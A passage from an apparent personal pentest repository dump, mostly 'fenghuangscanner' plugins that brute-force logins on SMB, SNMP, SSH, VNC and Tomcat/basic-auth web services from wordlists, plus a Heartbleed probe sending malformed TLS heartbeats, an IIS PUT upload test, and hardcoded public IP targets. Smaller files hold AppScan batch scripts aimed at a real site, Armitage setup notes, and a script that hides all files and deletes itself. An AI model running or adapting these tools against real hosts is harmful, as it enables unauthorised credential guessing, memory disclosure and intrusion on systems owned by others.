self.debugging > 1:\n            print '*get*', line\n        if not line: raise EOFError\n        if line[-2:] == CRLF: line = line[:-2]\n        elif line[-1:] in CRLF: line = line[:-1]\n        return line\n\n    # Internal: get a response from the server, which may possibly\n    # consist of multiple lines.  Return a single string with no\n    # trailing CRLF.  If the response consists of multiple lines,\n    # these are separated by '\\n' characters in the string\n    def getmultiline(self):\n        line = self.getline()\n        return line\n\n    # Internal: get a response from the server.\n    # Raise various errors if the response indicates an error\n    def getresp(self):\n        resp = self.getmultiline()\n        if self.debugging: print '*resp*', resp\n        if resp.find('ERROR') != -1:\n            raise Error, resp\n        else:\n            return resp\n\n    def sendcmd(self, cmd):\n        '''Send a command and return the response.'''\n        self.putline(cmd)\n        return self.getresp()\n\n    def login(self, module='', user = '', passwd = ''):\n        if not user: user = 'www'\n        if not passwd: passwd = 'www'\n        if not module: module = 'www'\n\n        self.putline(self.server_protocol_version)\n#        self.putline('@RSYNCD: 28.0')\n#        self.protocol_version = 28\n        resp = self.sendcmd(module)\n\n        challenge = resp[resp.find('AUTHREQD ')+9:]\n\n        if self.protocol_version >= 30:\n            md5=hashlib.md5()\n            md5.update(passwd)\n            md5.update(challenge)\n            hash = base64.b64encode(md5.digest())\n        else:\n            md4=hashlib.new('md4')\n            tmp = '\\0\\0\\0\\0' + passwd + challenge\n            md4.update(tmp)\n            hash = base64.b64encode(md4.digest())\n\n        response, number = re.subn(r'=+$','',hash)\n        print response\n        resp = self.sendcmd(user + ' ' + response)\n\n        if resp.find('OK') == -1:\n            raise Error, resp\n        return resp\n\n    def getModules(self):\n        '''Get modules on the server'''\n        print self.server_protocol_version\n        self.putline(self.server_protocol_version)\n\n        resp = self.sendcmd('')\n        print resp\n        return resp\n\n\n\n    def close(self):\n        '''Close the connection without assuming anything about it.'''\n        self.putline('')\n        if self.file is not None:\n            self.file.close()\n        if self.sock is not None:\n            self.sock.close()\n        self.file = self.sock = None\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/smb.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom impacket.smbconnection import *\nfrom multiprocessing.dummy import Pool\nfrom threading import Thread\n\n\nclass smb_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/smb.conf\")\n\n    def smb_connect(self,ip,username,password):\n        crack =0\n        try:\n            smb = SMBConnection('*SMBSERVER', ip)\n            smb.login(username,password)\n            smb.logoff()\n            crack =1\n        except Exception, e:\n            self.lock.acquire()\n            print \"%s smb 's %s:%s login fail \" %(ip,username,password)\n            self.lock.release()\n        return crack\n\n    def smb_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    if self.smb_connect(ip,username,password)==1:\n                        self.lock.acquire()\n                        printGreen(\"%s smb at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s smb at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['smb']):\n            printPink(\"crack smb  now...\")\n            print \"[*] start crack smb serice  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['smb']:\n                pool.apply_async(func=self.smb_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop smb serice  %s\" % time.ctime()\n            print \"[*] crack smb  done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file) \nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'smb': ['10.211.55.3:445']} \n    pinglist=['101.201.177.35']\n    test=smb_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/snmp.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom printers import printPink,printGreen\nfrom multiprocessing.dummy import Pool\nfrom pysnmp.entity.rfc3413.oneliner import cmdgen\n\n\nclass snmp_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/snmp.conf\")\n\n    def snmp_connect(self,ip,key):\n        crack =0\n        try:\n            errorIndication, errorStatus, errorIndex, varBinds =\\\n                cmdgen.CommandGenerator().getCmd(\n                    cmdgen.CommunityData('my-agent',key, 0),\n                    cmdgen.UdpTransportTarget((ip, 161)),\n                    (1,3,6,1,2,1,1,1,0)\n                )\n            if varBinds:\n                crack=1\n        except:\n            pass\n        return crack\n\n    def snmp_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    flag=self.snmp_connect(ip,key=data)\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s snmp  has weaken password!!-----%s\\r\\n\" %(ip,data))\n                        self.result.append(\"%s snmp  has weaken password!!-----%s\\r\\n\" %(ip,data))\n                        self.lock.release()\n                        break\n                    else:\n                        self.lock.acquire()\n                        print \"test %s snmp's scan fail\" %(ip)\n                        self.lock.release()\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        printPink(\"crack snmp now...\")\n        print \"[*] start crack snmp %s\" % time.ctime()\n        starttime=time.time()\n        pool=Pool(threads)\n        for ip in pinglist:\n            pool.apply_async(func=self.snmp_l,args=(str(ip).split(':')[0],\"\"))\n\n        pool.close()\n        pool.join()\n\n        print \"[*] stop crack snmp %s\" % time.ctime()\n        print \"[*] crack snmp done,it has Elapsed time:%s \" % (time.time()-starttime)\n        \n        for i in xrange(len(self.result)):\n            self.config.write_file(contents=self.result[i],file=file) \n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/ssh.py",
    "content": "#coding=utf-8\nimport time\nimport threading\nfrom multiprocessing.dummy import Pool\nfrom printers import printPink,printGreen\nimport paramiko\n\n\nclass ssh_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/ssh.conf\")\n\n    def ssh_connect(self,ip,username,password,port):\n        crack=0\n        try:\n            client = paramiko.SSHClient()\n            client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            client.connect(ip,port,username=username, password=password)\n            crack=1\n            client.close()\n        except Exception,e:\n            if e[0]=='Authentication failed.':\n                self.lock.acquire()\n                print \"%s ssh service 's %s:%s login fail \" %(ip,username,password)\n                self.lock.release()\n            else:\n                self.lock.acquire()\n                print \"connect %s ssh service at %s login fail \" %(ip,port)\n                self.lock.release()\n                crack=2\n        return crack\n\n    def ssh_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    username=data.split(':')[0]\n                    password=data.split(':')[1]\n                    flag=self.ssh_connect(ip,username,password,port)\n                    if flag==2:\n                        break\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s ssh at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.result.append(\"%s ssh at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                        self.lock.release()\n                        break\n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ssh']):\n            printPink(\"crack ssh  now...\")\n            print \"[*] start crack ssh  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['ssh']:\n                pool.apply_async(func=self.ssh_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ssh serice  %s\" % time.ctime()\n            print \"[*] crack ssh done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)   \n\n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ssh': ['139.129.30.58:22']} \n    pinglist=['122.225.81.129']\n    test=ssh_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/ssltest.py",
    "content": "#!/usr/bin/python\nimport sys\nimport struct\nimport socket\nimport select\nimport time\nimport threading\nfrom printers import printPink,printRed\nfrom multiprocessing.dummy import Pool\n\nclass ssl_burp(object):\n    \n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n\n        self.hello = self.h2bin('''\n        16 03 02 00  dc 01 00 00 d8 03 02 53\n        43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf\n        bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00\n        00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88\n        00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c\n        c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09\n        c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44\n        c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c\n        c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11\n        00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04\n        03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19\n        00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08\n        00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13\n        00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00\n        00 0f 00 01 01\n        ''')\n\n        self.hb = self.h2bin('''\n        18 03 02 00 03\n        01 40 00\n        ''')\n\n\n    def h2bin(self,x):\n        return x.replace(' ', '').replace('\\n', '').decode('hex')\n\n\n    def recvall(self,s, length, timeout=8):\n        endtime = time.time() + timeout\n        rdata = ''\n        remain = length\n        while remain > 0:\n            rtime = endtime - time.time()\n            if rtime < 0:\n                return None\n            r, w, e = select.select([s], [], [], 5)\n            if s in r:\n                data = s.recv(remain)\n                # EOF?\n                if not data:\n                    return None\n                rdata += data\n                remain -= len(data)\n        return rdata\n\n    def recvmsg(self,s):\n        hdr = self.recvall(s, 5)\n        if hdr is None:\n            return None, None, None\n        typ, ver, ln = struct.unpack('>BHH', hdr)\n        pay = self.recvall(s, ln, 10)\n        return typ, ver, pay\n\n\n    def hit_hb(self,s,ip,port):\n        s.send(self.hb)\n        while True:\n            typ, ver, pay = self.recvmsg(s)\n            if typ is None:\n                return False\n\n            if typ == 24:\n                if len(pay) > 3:\n                    self.lock.acquire()\n                    printRed('WARNING: %s ssl at %s returned more data than it should - server is vulnerable!\\r\\n' %(ip,port))\n                    self.result.append('WARNING: %s ssl at %s returned more data than it should - server is vulnerable!\\r\\n' %(ip,port))\n                    self.lock.release()\n                else:\n                    self.lock.acquire()\n                    printRed('%s ssl at %s processed malformed heartbeat, but did not return any extra data.\\r\\n' %(ip,port))\n                    self.result.append('%s ssl at %s processed malformed heartbeat, but did not return any extra data.\\r\\n' %(ip,port))\n                    self.lock.release()\n                return True\n\n            if typ == 21:\n                return False\n\n    def openssl_test(self,ip,port):\n            try:\n                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                sys.stdout.flush()\n                s.connect((ip, port))\n                sys.stdout.flush()\n                s.send(self.hello)\n                sys.stdout.flush()\n                while True:\n                    typ, ver, pay = self.recvmsg(s)\n                    if typ == None:\n                        break\n                    # Look for server hello done message.\n                    if typ == 22 and ord(pay[0]) == 0x0E:\n                        break\n                sys.stdout.flush()\n                s.send(self.hb)\n                self.hit_hb(s,ip,port)\n            except Exception,e:\n                #print e\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['ssl']):\n            printPink(\"crack ssl  now...\")\n            print \"[*] start test openssl_heart  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n            for ip in ipdict['ssl']:\n                pool.apply_async(func=self.openssl_test,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop ssl serice  %s\" % time.ctime()\n            print \"[*] crack ssl done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)   \n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'ssl': ['222.22.224.142:443']} \n    pinglist=['122.225.81.129']\n    test=ssl_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/vnc.py",
    "content": "from printers import printPink,printGreen\nimport time\nimport threading\nfrom multiprocessing.dummy import Pool\nfrom vnclib import *\n\n\nclass vnc_burp(object):\n\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.lines=self.config.file2list(\"conf/vnc.conf\")\n\n    def vnc_connect(self,ip,port,password):\n        crack =0\n        try:\n            v = VNC()\n            v.connect(ip, port, 10)\n            code,mesg=v.login(password)\n            if mesg=='OK':\n                crack=1\n        except Exception,e:\n            crack=2\n            pass\n        return crack\n\n    def vnc_l(self,ip,port):\n            try:\n                for data in self.lines:\n                    flag=self.vnc_connect(ip=ip,port=port,password=data)\n                    if flag==2:\n                        self.lock.acquire()\n                        print \"%s vnc at %s not allow connect now because of too many security failure\" %(ip,port)\n                        self.lock.release()\n                        break\n\n                    if flag==1:\n                        self.lock.acquire()\n                        printGreen(\"%s vnc at %s has weaken password!!-----%s\\r\\n\" %(ip,port,data))\n                        self.result.append(\"%s vnc at %s  has weaken password!!-----%s\\r\\n\" %(ip,port,data))\n                        self.lock.release()\n                        break\n                    else:\n                        self.lock.acquire()\n                        print \"login %s vnc service with %s fail \" %(ip,data)\n                        self.lock.release()   \n            except Exception,e:\n                pass\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['vnc']):\n            printPink(\"crack vnc  now...\")\n            print \"[*] start crack vnc  %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['vnc']:\n                pool.apply_async(func=self.vnc_l,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n\n            pool.close()\n            pool.join()\n\n            print \"[*] stop vnc serice  %s\" % time.ctime()\n            print \"[*] crack vnc done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)    \n                \n\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/vnclib.py",
    "content": "__author__ = 'wilson'\nfrom Crypto.Cipher import DES\nfrom sys import version_info\nimport time\n\nclass VNC_Error(Exception):\n    pass\nclass VNC:\n  def connect(self, host, port, timeout):\n    self.fp = socket.create_connection((host, port), timeout=timeout)\n    resp = self.fp.recv(99) # banner\n\n    self.version = resp[:11].decode('ascii')\n\n    if len(resp) > 12:\n      raise VNC_Error('%s %s' % (self.version, resp[12:].decode('ascii', 'ignore')))\n\n    return self.version\n\n  def login(self, password):\n    major, minor = self.version[6], self.version[10]\n\n    if (major, minor) in [('3', '8'), ('4', '1')]:\n      proto = b'RFB 003.008\\n'\n\n    elif (major, minor) == ('3', '7'):\n      proto = b'RFB 003.007\\n'\n\n    else:\n      proto = b'RFB 003.003\\n'\n\n    self.fp.sendall(proto)\n\n    time.sleep(0.5)\n\n    resp = self.fp.recv(99)\n\n\n    if minor in ('7', '8'):\n      code = ord(resp[0:1])\n      if code == 0:\n        raise VNC_Error('Session setup failed: %s' % resp.decode('ascii', 'ignore'))\n\n      self.fp.sendall(b'\\x02') # always use classic VNC authentication\n      resp = self.fp.recv(99)\n\n    else: # minor == '3':\n      code = ord(resp[3:4])\n      if code != 2:\n        raise VNC_Error('Session setup failed: %s' % resp.decode('ascii', 'ignore'))\n\n      resp = resp[-16:]\n\n    if len(resp) != 16:\n      raise VNC_Error('Unexpected challenge size (No authentication required? Unsupported authentication type?)')\n\n\n    pw = password.ljust(8, '\\x00')[:8] # make sure it is 8 chars long, zero padded\n\n    key = self.gen_key(pw)\n\n\n    des = DES.new(key, DES.MODE_ECB)\n    enc = des.encrypt(resp)\n\n\n    self.fp.sendall(enc)\n\n    resp = self.fp.recv(99)\n\n    self.fp.close()\n    code = ord(resp[3:4])\n    mesg = resp[8:].decode('ascii', 'ignore')\n\n    if code == 1:\n      return code, mesg or 'Authentication failure'\n\n    elif code == 0:\n      return code, mesg or 'OK'\n\n    else:\n      raise VNC_Error('Unknown response: %s (code: %s)' % (repr(resp), code))\n\n  def gen_key(self, key):\n    newkey = []\n    for ki in range(len(key)):\n      bsrc = ord(key[ki])\n      btgt = 0\n      for i in range(8):\n        if bsrc & (1 << i):\n          btgt = btgt | (1 << 7-i)\n      newkey.append(btgt)\n\n    if version_info[0] == 2:\n      return ''.join(chr(c) for c in newkey)\n    else:\n      return bytes(newkey)\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/plugins/web.py",
    "content": "#coding=utf-8\nimport threading\nfrom printers import printPink,printRed,printGreen\nfrom multiprocessing.dummy import Pool\nimport requests\nimport socket\nimport httplib\nimport time\nimport urlparse\nimport urllib2\nimport re\nimport base64\n\n\nclass web_burp(object):\n\n    def __init__(self,c):\n        self.config=c\n        self.lock=threading.Lock()\n        self.result=[]\n        self.tomcatlines=self.config.file2list(\"conf/tomcat.conf\")\n        self.weblines=self.config.file2list(\"conf/web.conf\")\n\n    def weblogin(self,url,ip,port,username,password):\n        try:\n                creak=0\n                header={}\n                login_pass=username+':'+password\n                header['Authorization']='Basic '+base64.encodestring(login_pass)\n                #header base64.encodestring 会多加一个回车号\n                header['Authorization']=header['Authorization'].replace(\"\\n\",\"\")\n                r=requests.get(url,headers=header,timeout=8)\n                if r.status_code==200:\n                    self.result.append(\"%s service at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    self.lock.acquire()\n                    printGreen(\"%s service at %s has weaken password!!-------%s:%s\\r\\n\" %(ip,port,username,password))\n                    self.lock.release()\n                    creak=1\n                else:\n                    self.lock.acquire()\n                    print \"%s service 's %s:%s login fail \" %(ip,username,password)\n                    self.lock.release()\n        except Exception,e:\n            pass\n        return creak\n\n\n    def webmain(self,ip,port):\n            #iis_put vlun scann\n            try:\n                url='http://'+ip+':'+str(port)+'/'+str(time.time())+'.txt'\n                r = requests.put(url,data='hi~',timeout=10)\n                if r.status_code==201:\n                    self.lock.acquire()\n                    printGreen('%s has iis_put vlun at %s\\r\\n' %(ip,port))\n                    self.lock.release()\n                    self.result.append('%s has iis_put vlun at %s\\r\\n' %(ip,port))\n            except Exception,e:\n                #print e\n                pass\n\n            #burp 401 web \n            try:\n                url='http://'+ip+':'+str(port)\n                url_get=url+'/manager/html'\n                r=requests.get(url_get,timeout=8)#tomcat \n                r2=requests.get(url,timeout=8)#web\n\n                if r.status_code==401:\n                    for data in self.tomcatlines:\n                        username=data.split(':')[0]\n                        password=data.split(':')[1]\n                        flag=self.weblogin(url_get,ip,port,username,password)\n                        if flag==1:\n                            break\n\n                elif r2.status_code==401:  \n                    for data in self.weblines:\n                        username=data.split(':')[0]\n                        password=data.split(':')[1]\n                        flag=self.weblogin(url,ip,port,username,password)\n                        if flag==1:\n                            break\n                else:\n                    pass\n\n            except Exception,e:\n                pass\n\n\n    def run(self,ipdict,pinglist,threads,file):\n        if len(ipdict['http']):\n            print \"[*] start test web burp at %s\" % time.ctime()\n            starttime=time.time()\n\n            pool=Pool(threads)\n\n            for ip in ipdict['http']:\n                pool.apply_async(func=self.webmain,args=(str(ip).split(':')[0],int(str(ip).split(':')[1])))\n            pool.close()\n            pool.join()\n\n            print \"[*] stop test iip_put&&scanner web paths at %s\" % time.ctime()\n            print \"[*] test iip_put&&scanner web paths done,it has Elapsed time:%s \" % (time.time()-starttime)\n\n            for i in xrange(len(self.result)):\n                self.config.write_file(contents=self.result[i],file=file)  \n\n\nif __name__ == '__main__':\n    import sys\n    sys.path.append(\"../\")\n    from comm.config import *\n    c=config()\n    ipdict={'http': ['192.168.1.1:80']} \n    pinglist=['192.168.1.1']\n    test=web_burp(c)\n    test.run(ipdict,pinglist,50,file=\"../result/test\")\n\n"
  },
  {
    "path": "Weak_Password/fenghuangscanner/requirements.txt",
    "content": "MySQL-python 1.2.4\npymssql  2.1.1 \nimpacket\nrequests\npysnmp 4.2.5\npycrypto 2.6.1 \nparamiko 1.1.5 \npython-ldap 2.4.13 \npymongo 2.4 \npsycopg2\nredis\nIPy\n"
  },
  {
    "path": "Windows_scripts/AppScan_batch_scan/AppScan_batch.bat",
    "content": ":: Init Script for cmd.exe\n:: Created as part of batch_scan\n:: filename: AppScan_batch.bat\n:: version v0.0.5 \n:: author: ym2011\n:: date: 2016-10-01\n:: #########################################################################\n::@mode con cp select=936\n@chcp 936\necho 1 如果你是首次运行该程序，请设置：主界面--工具--一般--用户文件的文件夹(%hom%\\result);日志文件的文件夹(%hom%\\Logs)\necho 2 如果你是首次运行该程序，请设置：主界面--工具--扫描选项--指示扫描是否完成(勾选)、扫描过程中自动保存(勾选)\necho 3 如果你是首次运行该程序，请设置：主界面--扫描--扫描配置--测试--测试策略--选择好策略后导出到%hom%\\attack.scant\necho 4 在当前目录的每个urltoscan文件中，分别保存3个URl。因为经过测试发现，同时进行三个扫描是性能和效率最高的。\n@echo off\n@REM delete the script created by the last time\n::@DEL urltoscan*.bat\n@REM set AppScanCMD_home\n:: Pass through to appropriate loader.\nif \"%PROCESSOR_ARCHITECTURE%\"==\"x86\" goto 32bit\nif \"%PROCESSOR_ARCHITECTURE%\"==\"amd64\" goto 64bit\n: 32bit\nSET AppScan_ROOT=C:\\Program Files\\IBM\\AppScan Standard\ngoto end\n:64bit\nSET AppScan_ROOT=C:\\Program Files (x86)\\IBM\\AppScan Standard\ngoto end\n:end\n@echo off\nSET home=%CD%\n@REM change to the path where AppScan was installed\n::SET AppScan_ROOT=C:\\Program Files (x86)\\IBM\\AppScan Standard\n@REM produce batch_scan for appscancm \n::for /F \"delims=/,tokens=3\" %%f in (urltoscan.txt) do echo %%f >> urltoname.txt\n\n\n::在每个urltoscan文件中，保存3个URl。因为经过测试发现，同时进行三个扫描是性能和效率最高的。\nfor /F %%u in (urltoscan1.txt) do echo %AppScan_ROOT%/appscancmd /e /su %%u /st %home%\\attack.scant /d %home%\\result\\ /v >> urltoscan1.bat\nfor /F %%u in (urltoscan2.txt) do echo %AppScan_ROOT%appscancmd /e /su %%u /st %home%\\attack.scant /d %home%\\result\\ /v >> urltoscan2.bat\nfor /F %%u in (urltoscan3.txt) do echo %AppScan_ROOT%appscancmd /e /su %%u /st %home%\\attack.scant /d %home%\\result\\ /v >> urltoscan3bat\npause\necho \"即将启动，请稍等！\" \nstart urltoscan1.bat\nstart urltoscan2.bat\nstart urltoscan3.bat\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "Windows_scripts/AppScan_batch_scan/READ.ME",
    "content": "# here are some scripte useful for my pentest\n"
  },
  {
    "path": "Windows_scripts/AppScan_batch_scan/batch.bat",
    "content": ":: Init Script for cmd.exe\n:: Created as part of batch_scan\n:: #########################################################################\n:: 1 ״иóã----һ--ûļļ(D:\\appscan\\result);־ļļ(D:\\appscan\\Logs)\n:: 2 ״иóã----ɨѡ--ָʾɨǷ(ѡ)ɨԶ(ѡ)\n@REM 3 ״иóã--ɨ--ɨ----Բ--ѡòԺ󵼳D:\\appscan\\attack.scant \n@REM 4 32λϵͳ뽫·C:\\Program Files (x86)\\IBM\\AppScan Standard Ϊ C:\\Program Files\\IBM\\AppScan Standard\n\n::@mode con cp select=936\n@chcp 936\necho 1 ״иóã----һ--ûļļ(D:\\appscan\\result);־ļļ(D:\\appscan\\Logs)\necho 2 ״иóã----ɨѡ--ָʾɨǷ(ѡ)ɨԶ(ѡ)\necho 3 ״иóã--ɨ--ɨ----Բ--ѡòԺ󵼳D:\\appscan\\attack.scant \necho 4 32λϵͳ뽫·C:\\Program Files (x86)\\IBM\\AppScan Standard Ϊ C:\\Program Files\\IBM\\AppScan Standard\necho 5 ڵǰĿ¼ÿurltoscanļУֱ𱣴3URlΪԷ֣ͬʱɨܺЧߵġ\n@echo off\n@REM delete the script created by the last time\n::@DEL urltoscan*.bat\n\n@REM change to the path where AppScan was installed\n@echo @cd /d C:\\Program Files (x86)\\IBM\\AppScan Standard > urltoscan0.bat\n@echo @cd /d C:\\Program Files (x86)\\IBM\\AppScan Standard > urltoscan1.bat\n@echo @cd /d C:\\Program Files (x86)\\IBM\\AppScan Standard > urltoscan2.bat\n\n@REM produce batch_scan for appscancm \n::for /F \"delims=/,tokens=3\" %%f in (urltoscan.txt) do echo %%f >> urltoname.txt\n\n\n::ÿurltoscanļУ3URlΪԷ֣ͬʱɨܺЧߵġ\nfor /F %%u in (urltoscan0.txt) do echo appscancmd /e /su %%u /st D:\\appscan\\attack.scant /d D:\\appscan\\result\\ /v >> urltoscan0.bat\nfor /F %%u in (urltoscan1.txt) do echo appscancmd /e /su %%u /st D:\\appscan\\attack.scant /d D:\\appscan\\result\\ /v >> urltoscan1.bat\nfor /F %%u in (urltoscan2.txt) do echo appscancmd /e /su %%u /st D:\\appscan\\attack.scant /d D:\\appscan\\result\\ /v >> urltoscan2.bat\n\necho \"ɣɨִ\" \necho \"Եȣ\"\necho \"ڵǰĿ¼·ֱurltoscan1.baturltoscan2.bat\"\n\nurltoscan0.bat\n\npause\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "Windows_scripts/AppScan_batch_scan/urltoscan0.bat",
    "content": "@cd /d C:\\Program Files (x86)\\IBM\\AppScan Standard \nappscancmd /e /su http://zhuji.360.cn/ /st D:\\appscan\\attack.scant /d D:\\appscan\\result\\ /v \n"
  },
  {
    "path": "Windows_scripts/Armitage-FAQ.txt",
    "content": "FIRST STEP\nservice postgresql start\nservice metasploit start\nservice metasploit stop ( turn to the third step if once you done it )\n\nSECOND STEP\nmsfdb init\n\nMSF_DATABASE_CONFIG\n\nTHIRD STEP \n\n/etc/init.d/postgresql start\n\narmitage\n\nPROBLEM SOLVE\n\napt-get cleanup\napt-get update && apt-get upgrade\n\n��������Դ������Ч�������ֶ����ظ��°���װ\n\n1. head over to http://www.fastandeasyhacking.com/download and download the tgz file\n2. cd /root/Downloads\n3. tar -xf armitage150813.tgz\n4. now head over to usr/share/armitage and replace all the files in that folder with you files you just downloaded and extracted.\n5. reboot\n\n����Armitageǰ����Ҫִ�� /etc/init.d/postgresql start  ��ʼ�����ݿ⣬��������ʾ������\n"
  },
  {
    "path": "Windows_scripts/FolderHide.bat",
    "content": ":: To hide the folders \n:: Author : ym20111\n:: Date: 2018-12-19\n@echo off\necho ==================================================================\necho ==============================================================\necho ==========================================================\necho please waiting for a while, you can go have a  tea, return later\necho It is working for your purpose\necho ...............................\necho .............\necho ....\nfor /F \"delims=\" %%i in ('dir /A /S/B') do attrib \"%%i\" +S +H\necho it done!, please close it\nattrib FolderHide.bat -S -H\ndel %0\npause"
  },
  {
    "path": "Windows_scripts/FolderUnhide.bat",
    "content": ":: To disclosure the folders \n:: Author : ym20111\n:: Date: 2018-12-19\n@echo off\necho ==================================================================\necho ==============================================================\necho ==========================================================\necho please waiting for a while, you can go have a  tea, return later\necho It is working for your purpose\necho ...............................\necho .............\necho ....\nfor /f \"delims=\" %%i in ('dir /ah /s/b') do attrib \"%%i\" -s -h\necho it done!, please close it\necho Goodbye\npause\ndel %0"
  },
  {
    "path": "Windows_scripts/README.MD",
    "content": "#here are some scripts i once used on the machine\n"
  },
  {
    "path": "Windows_scripts/Windows-security-check/Windows-security-check.README",
    "content": "# 日期：2016-07-14\n# 作者：ym\n\n目前windows安全检查脚本实现的功能有如下几点：\n\n1、系统信息检查\n\n2、端口状态检查\n\n3、添加/卸载记录\n\n4、IE浏览器记录\n\n5、用户检查\n\n6、隐藏用户检查\n\n7、进程检查\n\n8、注册表启动项检查\n\n9、通信检查\n\n10、CMD使用记录检查\n\n11、C盘部分文件夹捆绑文件检查\n\n\n# 这里有一个使用重点：如果是涉及到注册表检查的，需要给注册表赋予权限，通过reg query来读取，大部分注册表是不允许直接读取的。\n\nHKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names [1 2 19]\n注册表相关权限如下：\n\n用regini，是系统自带的注册表权限工具\n1   - Administrators 完全访问\n2   - Administrators 只读访问\n3   - Administrators 读和写入访问 \n4   - Administrators 读、写入、删除访问 \n5   - Creator 完全访问\n6   - Creator 读和写入访问 \n7   - everyone 完全访问\n8   - everyone 只读访问\n9   - everyone 读和写入访问 \n10 - everyone 读、写入、删除访问 \n11 - Power Users 完全访问\n12 - Power Users 读和写入访问 \n13 - Power Users 读、写入、删除访问 \n14 - System Operators 完全访问\n15 - System Operators 读和写入访问 \n16 - System Operators 读、写入、删除访问 \n17 - System 完全访问\n18 - System 读和写入访问 \n19 - System 只读访问\n20 - Administrators 读、写、执行访问\n21 - Interactive User 完全访问\n22 - Interactive User 读和写入访问 \n23 - Interactive User 读、写入、删除访问\n\n命令格式为HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run [2 9 19]\n"
  },
  {
    "path": "Windows_scripts/Windows-security-check/Windows-security-check.bat",
